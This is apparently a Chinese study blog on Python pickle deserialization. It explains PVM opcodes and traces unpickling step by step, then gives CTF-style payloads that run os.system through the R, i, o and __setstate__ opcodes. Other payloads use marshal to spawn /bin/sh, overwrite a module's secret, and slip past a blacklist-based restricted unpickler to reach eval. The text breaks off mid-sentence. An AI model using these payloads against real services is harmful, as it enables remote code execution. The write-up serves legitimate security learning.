总而言之就是,目前对于python的东西一知半解,所以需要写一个总的学习,也算是记录一下自己的学习过程吧。
与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
Python
中序列化一般有两种方式: pickle
模块和json
模块, 前者是Python
特有的格式, 后者是json
通用的格式.
相较于PHP
反序列化灵活多样的利用方式, 例如POP
链构造, Phar
反序列化, 原生类反序列化以及字符逃逸等. Python
相对而言没有PHP
那么灵活, 关于反序列化漏洞主要涉及这么几个概念: pickle
, pvm
, __reduce__
魔术方法.
这里补充下reduce方法就类似于wakeup方法,即在反序列化开始后第一个执行的方法。
pickle有以下操作方法:
函数
说明
dump
对象反序列化到文件对象并存入文件
dumps
对象反序列化为 bytes 对象
load
对象反序列化并从文件中读取数据
loads
从 bytes 对象反序列化
1
2
3
4
5
6
import pickle
class demo1 ():
def __init__ ( self , name = "dddtttt" )
self . name = name
print ( pickle . dumps ( demo1 ()))
结果
python3环境下
python2环境下
输出的一大串字符实际上是一串PVM
操作码, 可以在pickle.py
中看到关于这些操作码的详解.
1
2
3
4
5
6
7
8
import pickle
class demo2 ():
def __init__ ( self , name = "dddddtttt" )
self . name = name
print ( "++++序列化结果:" )
print ( pickle . dumps ( demo2 ()))
print ( "++++反序列化果:" )
pirnt ( pickle . loads ( pickle . dumps ( demo2 ()))) . name )
python3
pickle解析依靠Pickle Virtual Machine (PVM)进行。
指令处理器: 从流中读取opcode
和参数, 并对其进行解释处理. 重复这个动作, 直到遇到.
这个结束符后停止, 最终留在栈顶的值将被作为反序列化对象返回.
栈区(stack
): 由Python
的list
实现, 被用来临时存储数据、参数以及对象, 在不断的进出栈过程中完成对数据流的反序列化操作, 并最终在栈顶生成反序列化的结果.
标签区(memo
): 由Python
的dict
实现, 为PVM
的整个生命周期提供存储.
首先,PVM会把源代码编译成字节码,若python在目标机器有写入文件权限,则其会吧编译后的字节码保存在.pyc
文件中方便后续使用,反过来则会把其丢弃。然后, Python
进程会把编译好的字节码转发到PVM
(Python
虚拟机)中, PVM
会循环迭代执行字节码指令, 直到所有操作被完成.
这里贴一下H3rmesk1t师傅的
当前用于pickling
的协议共有6
种, 使用的协议版本越高, 读取生成的pickle
所需的Python
版本就要越新.
v0
版协议是原始的"人类可读"协议, 并且向后兼容早期版本的Python
.
v1
版协议是较早的二进制格式, 它也与早期版本的Python
兼容.
v2
版协议是在Python 2.3
中引入的, 它为存储new-style class
提供了更高效的机制, 参阅PEP 307
.
v3
版协议添加于Python 3.0
, 它具有对bytes
对象的显式支持, 且无法被Python 2.x
打开, 这是目前默认使用的协议, 也是在要求与其他Python 3
版本兼容时的推荐协议.
v4
版协议添加于Python 3.4
, 它支持存储非常大的对象, 能存储更多种类的对象, 还包括一些针对数据格式的优化, 参阅PEP 3154
.
v5
版协议添加于Python 3.8
, 它支持带外数据, 加速带内数据处理.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# Pickle opcodes. See pickletools.py for extensive docs. The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.
MARK = b '(' # push special markobject on stack
STOP = b '.' # every pickle ends with STOP
POP = b '0' # discard topmost stack item
POP_MARK = b '1' # discard stack top through topmost markobject
DUP = b '2' # duplicate top stack item
FLOAT = b 'F' # push float object; decimal string argument
INT = b 'I' # push integer or bool; decimal string argument
BININT = b 'J' # push four-byte signed int
BININT1 = b 'K' # push 1-byte unsigned int
LONG = b 'L' # push long; decimal string argument
BININT2 = b 'M' # push 2-byte unsigned int
NONE = b 'N' # push None
PERSID = b 'P' # push persistent object; id is taken from string arg
BINPERSID = b 'Q' # " " " ; " " " " stack
REDUCE = b 'R' # apply callable to argtuple, both on stack
STRING = b 'S' # push string; NL-terminated string argument
BINSTRING = b 'T' # push string; counted binary string argument
SHORT_BINSTRING = b 'U' # " " ; " " " " < 256 bytes
UNICODE = b 'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b 'X' # " " " ; counted UTF-8 string argument
APPEND = b 'a' # append stack top to list below it
BUILD = b 'b' # call __setstate__ or __dict__.update()
GLOBAL = b 'c' # push self.find_class(modname, name); 2 string args
DICT = b 'd' # build a dict from stack items
EMPTY_DICT = b '}' # push empty dict
APPENDS = b 'e' # extend list on stack by topmost stack slice
GET = b 'g' # push item from memo on stack; index is string arg
BINGET = b 'h' # " " " " " " ; " " 1-byte arg
INST = b 'i' # build & push class instance
LONG_BINGET = b 'j' # push item from memo on stack; index is 4-byte arg
LIST = b 'l' # build list from topmost stack items
EMPTY_LIST = b ']' # push empty list
OBJ = b 'o' # build & push class instance
PUT = b 'p' # store stack top in memo; index is string arg
BINPUT = b 'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b 'r' # " " " " " ; " " 4-byte arg
SETITEM = b 's' # add key+value pair to dict
TUPLE = b 't' # build tuple from topmost stack items
EMPTY_TUPLE = b ')' # push empty tuple
SETITEMS = b 'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b 'G' # push float; arg is 8-byte float encoding
TRUE = b 'I01 \n ' # not an opcode; see INT docs in pickletools.py
FALSE = b 'I00 \n ' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b ' \x80 ' # identify pickle protocol
NEWOBJ = b ' \x81 ' # build object by applying cls.__new__ to argtuple
EXT1 = b ' \x82 ' # push object from extension registry; 1-byte index
EXT2 = b ' \x83 ' # ditto, but 2-byte index
EXT4 = b ' \x84 ' # ditto, but 4-byte index
TUPLE1 = b ' \x85 ' # build 1-tuple from stack top
TUPLE2 = b ' \x86 ' # build 2-tuple from two topmost stack items
TUPLE3 = b ' \x87 ' # build 3-tuple from three topmost stack items
NEWTRUE = b ' \x88 ' # push True
NEWFALSE = b ' \x89 ' # push False
LONG1 = b ' \x8a ' # push long from < 256 bytes
LONG4 = b ' \x8b ' # push really big long
_tuplesize2code = [ EMPTY_TUPLE , TUPLE1 , TUPLE2 , TUPLE3 ]
# Protocol 3 (Python 3.x)
BINBYTES = b 'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b 'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b ' \x8c ' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b ' \x8d ' # push very long string
BINBYTES8 = b ' \x8e ' # push very long bytes string
EMPTY_SET = b ' \x8f ' # push empty set on the stack
ADDITEMS = b ' \x90 ' # modify set by adding topmost stack items
FROZENSET = b ' \x91 ' # build frozenset from topmost stack items
NEWOBJ_EX = b ' \x92 ' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b ' \x93 ' # same as GLOBAL but using names on the stacks
MEMOIZE = b ' \x94 ' # store top of the stack in memo
FRAME = b ' \x95 ' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b ' \x96 ' # push bytearray
NEXT_BUFFER = b ' \x97 ' # push next out-of-band buffer
READONLY_BUFFER = b ' \x98 ' # make top of stack readonly
protocol=num
来选择opcode
的版本
h3rmesk1t的demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import pickle
class Demo ():
def __init__ ( self , name = 'dddddt6ttt' ):
self . name = name
def __reduce__ ( self ):
return ( os . system , ( 'whoami' ,))
demo = Demo ()
for i in range ( 6 ):
print ( '[+] pickle v {} : {} ' . format ( str ( i ), pickle . dumps ( demo , protocol = i )))
python3
在使用的时候我们可以利用字节码来直接执行文件,例如
1
2
3
4
cos
system
( S 'whoami'
tR .
当然这个要遵循前面说的PVM的组成的规则
1
2
3
4
5
6
cos => 引入模块 os .
system => 引用 system , 并将其添加到 stack .
( S ' whoami ' => 把当前 stack 存到 metastack , 清空 stack , 再将 ' whoami ' 压入 stack .
t => stack 中的值弹出并转为 tuple , 把 metastack 还原到 stack , 再将 tuple 压入 stack .
R => system ( * ( ' whoami ' ,)).
. => 结束并返回当前栈顶元素 .
然后这里想一些opcode的一些命令在这个ppt中有
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
当然详细的可以去网上搜
opcode
描述
具体写法
栈上的变化
memo上的变化
c
获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack
c[module]\n[instance]\n
获得的对象入栈
无
o
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
o
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
无
i
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
i[module]\n[callable]\n
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
无
N
实例化一个None
N
获得的对象入栈
无
S
实例化一个字符串对象
S’xxx’\n(也可以使用双引号、'等python字符串形式)
获得的对象入栈
无
V
实例化一个UNICODE字符串对象
Vxxx\n
获得的对象入栈
无
I
实例化一个int对象
Ixxx\n
获得的对象入栈
无
F
实例化一个float对象
Fx.x\n
获得的对象入栈
无
R
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
R
函数和参数出栈,函数的返回值入栈
无
.
程序结束,栈顶的一个元素作为pickle.loads()的返回值
.
无
无
(
向栈中压入一个MARK标记
(
MARK标记入栈
无
t
寻找栈中的上一个MARK,并组合之间的数据为元组
t
MARK标记以及被组合的数据出栈,获得的对象入栈
无
)
向栈中直接压入一个空元组
)
空元组入栈
无
l
寻找栈中的上一个MARK,并组合之间的数据为列表
l
MARK标记以及被组合的数据出栈,获得的对象入栈
无
]
向栈中直接压入一个空列表
]
空列表入栈
无
d
寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)
d
MARK标记以及被组合的数据出栈,获得的对象入栈
无
}
向栈中直接压入一个空字典
}
空字典入栈
无
p
将栈顶对象储存至memo_n(记忆栈)
pn\n
无
对象被储存
g
将memo_n的对象压栈
gn\n
对象被压栈
无
0
丢弃栈顶对象(self.stack)
0
栈顶对象被丢弃
无
b
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置
b
栈上第一个元素出栈
无
s
将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中
s
第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
无
u
寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
u
MARK标记以及被组合的数据出栈,字典被更新
无
a
将栈的第一个元素append到第二个元素(列表)中
a
栈顶元素出栈,第二个元素(列表)被更新
无
e
寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中
e
MARK标记以及被组合的数据出栈,列表被更新
无
使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
1
2
3
4
import pickletools
data = b " \x80\x03 cbuiltins \n exec \n q \x00 X \x13\x00\x00\x00 key1=b'1' \n key2=b'2'q \x01\x85 q \x02 Rq \x03 ."
pickletools . dis ( data )
可以清楚的看到做的处理及其指令,当然在上面的指令集都能找到对应的方法.
这里学着跟进一下反序列化过程
这里secret文件内容就随便定义咯
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import secret
class animal :
def __init__ ( self ):
self . animal1 = "dog"
def check ( self ):
if self . animal == secret . best :
print ( self . animal )
print ( 'good' )
a = pickle . dumps ( animal (), protocol = 3 )
print ( a )
pickle . loads ( a )
输出
1
b ' \x80\x03 c__main__ \n animal \n q \x00 ) \x81 q \x01 }q \x02 X \x06\x00\x00\x00 animalq \x03 X \x03\x00\x00\x00 dogq \x04 sb.'
第一步读到\x80部分
对应的指令集
PROTO = b’\x80’ # identify pickle protocol
1
2
3
4
5
6
def load_proto ( self ):
proto = self . read ( 1 )[ 0 ]
if not 0 & lt ; = proto & lt ; = HIGHEST_PROTOCOL :
raise ValueError ( "unsupported pickle protocol: %d " % proto )
self . proto = proto
dispatch [ PROTO [ 0 ]] = load_proto
所以读到\x03表示协议版本为3
第二步读取c操作码
GLOBAL = b’c’ # push self.find_class(modname,
可以看见这里对应的就是load_global和find_class
1
2
3
4
5
6
def load_global ( self ):
module = self . readline ()[: - 1 ] . decode ( "utf-8" ) #往后读到换行符作为模块名 =>__main__
name = self . readline ()[: - 1 ] . decode ( "utf-8" ) #往后读到换行符作为类名 => animal
klass = self . find_class ( module , name ) #然后进入find_class寻找类
self . append ( klass ) #获取模块后添加到当前栈中
dispatch [ GLOBAL [ 0 ]] = load_global
1
2
3
4
5
6
7
8
9
10
11
12
13
def find_class ( self , module , name ):
# Subclasses may override this.
sys . audit ( 'pickle.find_class' , module , name )
if self . proto & lt ; 3 and self . fix_imports :
if ( module , name ) in _compat_pickle . NAME_MAPPING :
module , name = _compat_pickle . NAME_MAPPING [( module , name )]
elif module in _compat_pickle . IMPORT_MAPPING :
module = _compat_pickle . IMPORT_MAPPING [ module ]
__import__ ( module , level = 0 )
if self . proto & gt ; = 4 :
return _getattribute ( sys . modules [ module ], name )[ 0 ]
else : #3号协议
return getattr ( sys . modules [ module ], name )
sys.modules中的内容 储存内置方法和引用的模块
1
{ 'sys' : , 'builtins' : , '_frozen_importlib' : , '_imp' : , '_thread' : , '_warnings' : , '_weakref' : , '_frozen_importlib_external' : , 'nt' : , '_io' : , 'marshal' : , 'winreg' : , 'time' : , 'zipimport' : , '_codecs' : , 'codecs' : , 'encodings.aliases' : , 'encodings' : , 'encodings.utf_8' : , '_signal' : , 'encodings.latin_1' : , '_abc' : , 'abc' : , 'io' : , '__main__' : , '_stat' : , 'stat' : , '_collections_abc' : , 'genericpath' : , 'ntpath' : , 'os.path' : , 'os' : , '_sitebuiltins' : , '_locale' : , '_bootlocale' : , '_codecs_cn' : , '_multibytecodec' : , 'encodings.gbk' : , 'types' : , 'importlib._bootstrap' : , 'importlib._bootstrap_external' : , 'warnings' : , 'importlib' : , 'importlib.machinery' : , '_heapq' : , 'heapq' : , 'itertools' : , 'keyword' : , '_operator' : , 'operator' : , 'reprlib' : , '_collections' : , 'collections' : , 'collections.abc' : , '_functools' : , 'functools' : , 'contextlib' : , 'enum' : , '_sre' : , 'sre_constants' : , 'sre_parse' : , 'sre_compile' : , 'copyreg' : , 're' : , 'typing.io' : , 'typing.re' : , 'typing' : , 'importlib.abc' : , 'importlib.util' : , 'mpl_toolkits' : , 'site' : , '_struct' : , 'struct' : , '_compat_pickle' : , '_pickle' : , 'pickle' : , 'secret' : }
然后self.append(klass)
添加到当前栈中,所以当前栈中有:
第三步读取q操作码
BINPUT = b’q’ # " " " " " ; " "
也就是load_binput
1
2
3
4
5
6
def load_binput ( self ):
i = self . read ( 1 )[ 0 ] #继续读取下一个字节,赋值给i
if i & lt ; 0 :
raise ValueError ( "negative BINPUT argument" )
self . memo [ i ] = self . stack [ - 1 ] #将栈中的栈尾(与栈顶相对)存入记忆栈中memo
dispatch [ BINPUT [ 0 ]] = load_binput
1
2
3
def load_empty_tuple ( self ):
self . append (()) #向当前栈中增加一个新的元组
dispatch [ EMPTY_TUPLE [ 0 ]] = load_empty_tuple
所以当前栈中有:
第五步在读取 \x81
操作码 # 使用弹出两次栈,用弹出的数据创建类
1
2
3
4
5
6
7
def load_newobj ( self ):
args = self . stack . pop () # 空元组()
cls = self . stack . pop () #
obj = cls . __new__ ( cls , * args )
#__new__方法的作用是修改不可变类(int,String)等基本类都是不可变类,此处不需修改,所以传入元组
self . append ( obj ) 将实例化后的animal压入栈中
dispatch [ NEWOBJ [ 0 ]] = load_newobj
1
memo =& gt ; stack :[( 类 ) , ( 对象 )]
1
2
3
def load_empty_dictionary ( self ):
self . append ({})
dispatch [ EMPTY_DICT [ 0 ]] = load_empty_dictionary
1
self =& gt ; stack :[( 对象 ),{}]
1
2
3
4
5
6
def load_binput ( self ):
i = self . read ( 1 )[ 0 ] #继续读取下一个字节 \x02 ,赋值给i
if i & lt ; 0 :
raise ValueError ( "negative BINPUT argument" )
self . memo [ i ] = self . stack [ - 1 ] #将栈中的栈尾栈顶存入记忆栈中memo
dispatch [ BINPUT [ 0 ]] = load_binput
将animal对象存储到memo[1]的栈中
1
memo =& gt ; stack :[( 类 ) , ( 对象 ),{}]
1
2
3
4
5
6
7
8
def load_binunicode ( self ):
len , = unpack ( '<i>6
if len & gt ; maxsize :
raise UnpicklingError ( "BINUNICODE exceeds system's maximum size "
"of %d bytes" % maxsize )
self . append ( str ( self . read ( len ), 'utf-8' , 'surrogatepass' ))
#再往后读len长度的字节数 animal(属性名) 然后存入到栈中中
dispatch [ BINUNICODE [ 0 ]] = load_binunicode
将animal(属性名) 然后存入到字符串中
1
self =& gt ; stack :[( 对象 ),{}, "animal" ]
1
2
3
4
5
6
def load_binput ( self ):
i = self . read ( 1 )[ 0 ] #继续读取下一个字节 \x03 ,赋值给i
if i & lt ; 0 :
raise ValueError ( "negative BINPUT argument" )
self . memo [ i ] = self . stack [ - 1 ] #将栈中的栈尾栈顶存入记忆栈中memo
dispatch [ BINPUT [ 0 ]] = load_binput
将animal(属性名) 然后存入到字符串中
1
memo =& gt ; stack :[( 类 ) , ( 对象 ),{}, "animal" ]
1
2
3
4
5
6
7
8
def load_binunicode ( self ):
len , = unpack ( '<i> 3
if len & gt ; maxsize :
raise UnpicklingError ( "BINUNICODE exceeds system's maximum size "
"of %d bytes" % maxsize )
self . append ( str ( self . read ( len ), 'utf-8' , 'surrogatepass' )) dog
#再往后读len长度的字节数 dog(属性值) 然后存入到栈中中
dispatch [ BINUNICODE [ 0 ]] = load_binunicode
将animal(属性名) 然后存入到字符串中
1
self =& gt ; stack :[( 对象 ),{}, "animal" , "dog" ]
1
2
3
4
5
6
def load_binput ( self ):
i = self . read ( 1 )[ 0 ] #继续读取下一个字节 \x04 ,赋值给i
if i & lt ; 0 :
raise ValueError ( "negative BINPUT argument" )
self . memo [ i ] = self . stack [ - 1 ] #将栈中的栈尾栈顶存入记忆栈中memo
dispatch [ BINPUT [ 0 ]] = load_binput
将animal(属性名) 然后存入到字符串中
1
memo =& gt ; stack :[( 类 ) , ( 对象 ),{}, "animal" , "dog" ]
1
2
3
4
5
6
7
def load_setitem ( self ):
stack = self . stack
value = stack . pop () #"dog"
key = stack . pop () #"animal"
dict = stack [ - 1 ] #栈顶{}
dict [ key ] = value #{"animal":"dog"}
dispatch [ SETITEM [ 0 ]] = load_setitem
将animal(属性名) 然后存入到字符串中
1
self =& gt ; stack :[( 对象 ),{ "animal" : "dog" }]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def load_build ( self ):
stack = self . stack
state = stack . pop () #{"animal":"dog"}
inst = stack [ - 1 ] #(对象)
setstate = getattr ( inst , "__setstate__" , None )
if setstate is not None :
#检查是否存在 __setstate__ 方法 一般是不存在的
###############################################
setstate ( state ) ###########会造成任意函数调用
############################################
return
slotstate = None
if isinstance ( state , tuple ) and len ( state ) == 2 :
state , slotstate = state
if state :
inst_dict = inst . __dict__
intern = sys . intern
for k , v in state . items ():
if type ( k ) is str :
inst_dict [ intern ( k )] = v
else :
inst_dict [ k ] = v
if slotstate :
for k , v in slotstate . items ():
setattr ( inst , k , v )
dispatch [ BUILD [ 0 ]] = load_build
将animal(属性名) 然后存入到字符串中
1
self =& gt ; stack :[( 拥有数据的对象 )
1
2
3
4
def load_stop ( self ):
value = self . stack . pop ()
raise _Stop ( value )
dispatch [ STOP [ 0 ]] = load_stop
反序列结束
因为别的师傅又发了一个分析的文章觉得写的非常非常的好,想并进来一起分析了(直接拿师傅的例子这里先拜谢了(文章地址会放到最后引用处))
第一步
首先读取前面的\x80,pickle看见之后会往后再读取下一个字节,即\x03
表示这个是pickle3.0的协议
第二步
机器读取下一个c
操作符(也叫做GLOBAL操作符)连续读取两个字符串 module
和name
,于是把__module__.Student
压进栈里
注:GLOBAL操作符读取全局变量,是使用的find_class
函数。而find_class
对于不同的协议版本实现也不一样。总之,它干的事情是“去x
模块找到y
”,y
必须在x
的顶层(也即,y不能在嵌套的内层)。
第三步
机器读取到)
操作符,表示把一个空的tuple(元组)压入当前栈
记住这里的当前栈和栈空间不是一个东西
第四步
读取到\0x81操作符,它的作用是:从栈中先弹出一个元素,记为args
;再弹出一个元素,记为cls
。接下来,执行cls.__new__(cls, *args)
,其实就是实例化了Student
把得到的实例压进栈中,所以此时栈中只有一个元素.
第五步
读取}
操作符,他将一个空的dict压入栈。
第六步
MARK操作符,这个操作符干的事情称为load_mark
:
把当前栈 这个整体,作为一个list,压进前序栈 。
把当前栈 清空。
然后还有一个东西叫做pop_mark
:
记录一下当前栈的信息,作为一个list,在load_mark
结束时返回。
弹出前序栈 的栈顶,用这个list来覆盖当前栈 。
其实就是相互的过程
第七步
读取到操作符V
,读入一个字符串,以\n
结尾;然后把这个字符串压进栈中。所以此时的栈的元素是:name, rxz, grade, G2
此时前序栈只有一个元素,是一个list,这个list里面有两个元素:一个空的Student实例,以及一个空的dict。
第八步
读取到操作符u
:
调用pop_mark
。也就是说,把当前栈的内容扔进一个数组arr
,然后把当前栈恢复到MARK时的状态。
执行完成之后,arr=['name', 'rxz', 'grade', 'G2']
;当前栈里面存的是__main__.Student
这个类、一个空的dict
拿到当前栈的末尾元素,规定必须是一个dict
。
这里,读到了栈顶那个空dict
。
两个一组地读arr
里面的元素,前者作为key,后者作为value,存进上一条所述的dict
。
第九步
读取到b
操作符:
把当前栈栈顶存进state
,然后弹掉。
把当前栈栈顶记为inst
,然后弹掉。
利用state
这一系列的值来更新实例 inst
。把得到的对象扔进当前栈。
注:这里更新实例的方式是:如果inst
拥有__setstate__
方法,则把state
交给__setstate__
方法来处理;否则的话,直接把state
这个dist
的内容,合并到inst.__dict__
里面。
最后就弹出序列化的最终结果。
1
2
3
4
5
def load_reduce ( self ):
stack = self . stack
args = stack . pop ()
func = stack [ - 1 ]
stack [ - 1 ] = func ( * args )
弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami
放入栈中,再把system
模块放入栈中,即可实现函数的函数执行
构造payload如下
1
a = b 'cos \n system \n X \x06\x00\x00\x00 whoami \x85 R.'
可以看见执行了whoami的命令
1
2
3
4
5
def load_inst ( self ):
module = self . readline ()[: - 1 ] . decode ( "ascii" )
name = self . readline ()[: - 1 ] . decode ( "ascii" )
klass = self . find_class ( module , name )
self . _instantiate ( klass , self . pop_mark ())
向下依次读取两行分别作为module
和name
,然后利用find_class
寻找对应方法,通过pop_mark()
函数得到参数,利用_instantiate
函数执行,将结果存入栈中,pop_mark()
对应代码
1
2
3
4
5
def pop_mark ( self ):
items = self . stack
self . stack = self . metastack . pop ()
self . append = self . stack . append
return items
这里是获取当前栈赋给items
,然后弹出栈内元素,再把这个栈赋值给当前栈,然后返回items
1
2
3
import pickle
a = b '(X \x06\x00\x00\x00 whoamiios \n system \n .'
b = pickle . loads ( a )
1
2
3
4
5
def load_obj ( self ):
# Stack is ... markobject classobject arg1 arg2 ...
args = self . pop_mark ()
cls = args . pop ( 0 )
self . _instantiate ( cls , args )
这个函数先弹出栈中一个元素作为args
,也就是参数,而后再弹出第一个元素作为函数,调用_instantiate
函数自执行
1
2
3
import pickle
a = b '(cos \n system \n X \x06\x00\x00\x00 whoamio.'
b = pickle . loads ( a )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def load_build ( self ):
stack = self . stack
state = stack . pop ()
inst = stack [ - 1 ]
setstate = getattr ( inst , "__setstate__" , None )
if setstate is not None :
setstate ( state )
return
slotstate = None
if isinstance ( state , tuple ) and len ( state ) == 2 :
state , slotstate = state
if state :
inst_dict = inst . __dict__
intern = sys . intern
for k , v in state . items ():
if type ( k ) is str :
inst_dict [ intern ( k )] = v
else :
inst_dict [ k ] = v
if slotstate :
for k , v in slotstate . items ():
setattr ( inst , k , v )
这个函数是当栈中存在__setstate__
时,就会执行setstate(state)
,因此我们这里自定义一个__setstate__
类,分别构造os.system
和whoami
即可执行命令
1
2
3
4
5
6
import pickle
class tttang :
def __init__ ( self ):
self . name = "quan9i"
a = b 'c__main__ \n tttang \n ) \x81 }X \x0C\x00\x00\x00 __setstate__cos \n system \n sbX \x06\x00\x00\x00 whoamib.'
b = pickle . loads ( a )
这里也是过一下,CTF竞赛对pickle的利用多数是在__reduce__
方法上。
然后将其放给其他的程序去解析(不带reduce也可以)
可以看到也是可以正常执行的
那么,如何过滤掉reduce呢?由于__reduce__
方法对应的操作码是R
,只需要把操作码R
过滤掉 就行了。这个可以很方便地利用pickletools.genops
来实现。
secret.py
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import secret
payload = '''c__main__
secret
(S'key'
S'tttang'
db.'''
print ( 'before:' , secret . key )
output = pickle . loads ( payload . encode ())
print ( 'output:' , output )
print ( 'after:' , secret . key )
可以看见最后输出的key被更改了
这里还有一个例子
1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
key1 = b '321'
key2 = b '123'
class A ( object ):
def __reduce__ ( self ):
return ( exec ,( "key1=b'1' \n key2=b'2'" ,))
a = A ()
pickle_a = pickle . dumps ( a )
print ( pickle_a )
pickle . loads ( pickle_a )
print ( key1 , key2 )
所以我们可以对其内容进行更改甚至执行命令
由于pickle
无法序列化code
对象, 因此在python2.6
后增加了一个marshal
模块来处理code
对象的序列化问题.
1
2
3
4
5
6
7
8
9
import base64
import marshal
def demo ():
import os
os . system ( '/bin/sh' )
code_serialized = base64 . b64encode ( marshal . dumps ( demo ()))
print ( code_serialized )
但是marshal
不能直接使用__reduce__
, 因为reduce
是利用调用某个callable
并传递参数来执行的, 而marshal
函数本身就是一个callable
, 需要执行它, 而不是将他作为某个函数的参数.
这时候就要利用上面分析的那个PVM
操作码来进行构造了, 先写出来需要执行的内容, Python
能通过types.FunctionTyle(func_code,globals(),'')()
来动态地创建匿名函数, 这一部分的内容可以看官方文档 的介绍.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64
import pickle
import marshal
def foo ():
import os
os . system ( 'whoami;/bin/sh' ) # evil code
shell = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S' %s '
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64 . b64encode ( marshal . dumps ( foo . func_code ))
print ( pickle . loads ( shell ))
给出的一个waf写法
1
2
3
4
5
6
7
8
9
10
import pickle
import io
import builtins
__all__ = ( 'PickleSerializer' ,)
class RestrictedUnpickler ( pickle . Unpickler ):
blacklist = { 'eval' , 'exec' , 'open' , '__import__' , 'exit' , 'input' }
def find_class ( self , module , name ):
if module == "builtins" and name not in self . blacklist :
return getattr ( builtins , name )
raise pickle . UnpicklingError ( "global ' %s . %s ' is forbidden" % ( module , name ))
其实就是对find_class
的输入进行了过滤。
绕过的角度:
从opcode角度看,当出现c
、i
、\x93
时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可 。
从python代码来看,find_class()
只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()
就不会再调用,也就是说find_class()
只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__
绕过一些黑名单。
虽然这里设置了黑名单,但是这里可以发现getattr没有被ban掉,可以利用这个来获取builtins里面的函数。
1
builtins . getattr ( builtins , 'eval' ),( '__import__("os").system("whoami")' ,)
构造opcode
首先就是构造出builtins,getattr
接下来压入的话会发现,其中含有个对象,而其他压入的都是字符串,如果直接压入的话会出错(具体原因还在问)
1
builtins = builtins . globals () . get ( 'builtins' )
最后构造出eval即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
b """cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRS'eval'
tRp1
(S'__import__("os").system("whoami")'
tR."""
其实这个也是对于R操作符的妙用
例如题目对R进行了过滤那么该如何做呢?(这里还是取师傅的题目例子)
这个时候可以利用c-》可以用来获取一个全局变量
以name的为例,只需要把硬编码的rxz
改成从blue
引入的name
,写成指令就是:cblue\nname\n
。把用于编码rxz
的X\x03\x00\x00\x00rxz
替换成我们的这个global指令即可
如果出题人只允许c
指令包含__main__
这一个module,这道题又该如何解决呢?
这里采用的方法是先写入后篡改的方法
通过__main__.blue
引入这一个module,由于命名空间还在main内,故不会被拦截
把一个dict压进栈,内容是{'name': 'rua', 'grade': 'www'}
执行BUILD指令,会导致改写 __main__.blue.name
和 __main__.blue.grade
,至此blue.name
和blue.grade
已经被篡改成我们想要的内容
弹掉栈顶,现在栈变成空的
照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别是’rua’和’www'
这个地方其实就是对b
操作符的妙用
1
payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'
这里把b操作符再贴一次出来
那么如果R被禁用了(也就是reduce被禁用)那么如何绕过
之前谈到过,__reduce__
与R
指令是绑定的,禁止了R
指令就禁止了__reduce__
方法。那么,在禁止R
指令的情况下,我们还能RCE吗?
现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用fun(arg)
,其中fun
和arg
都必须可控。
可以看到上一个部分的load_build函数的定义:
这里的实现方式也就是上文的注所提到的:如果inst
拥有__setstate__
方法,则把state
